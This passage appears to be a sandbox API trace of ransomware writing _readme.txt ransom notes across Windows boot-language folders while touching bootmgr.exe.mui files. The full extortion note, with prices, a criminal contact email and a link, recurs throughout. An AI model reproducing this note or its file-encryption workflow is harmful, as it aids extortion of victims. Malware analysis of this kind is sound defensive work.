if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.473] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.474] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.474] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0124.474] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.474] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.474] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.474] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.474] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0124.474] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.474] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.474] PathFindFileNameW (pszPath="") returned="" [0124.474] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.474] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.474] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.475] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.475] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 1 [0124.475] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\_readme.txt") returned 0 [0124.475] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.475] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.475] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\_readme.txt" (normalized: "c:\\boot\\pt-br\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.475] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.475] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0124.475] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.475] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.475] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.475] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.475] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0124.476] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.476] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.476] PathFindFileNameW (pszPath="") returned="" [0124.476] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.476] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.476] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.476] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.476] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0124.476] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0124.476] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.476] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.476] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.477] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.477] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0124.477] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.477] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.477] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.477] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.477] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0124.477] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.477] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.477] PathFindFileNameW (pszPath="") returned="" [0124.477] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.478] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.478] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.478] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.478] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0124.478] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0124.478] lstrcpyW (in: lpString1=0x3ae4bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.478] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.478] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.478] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.478] PathFindExtensionW (pszPath="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned=".mui" [0124.478] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.478] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.478] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0124.479] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.479] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0124.479] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.479] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.479] 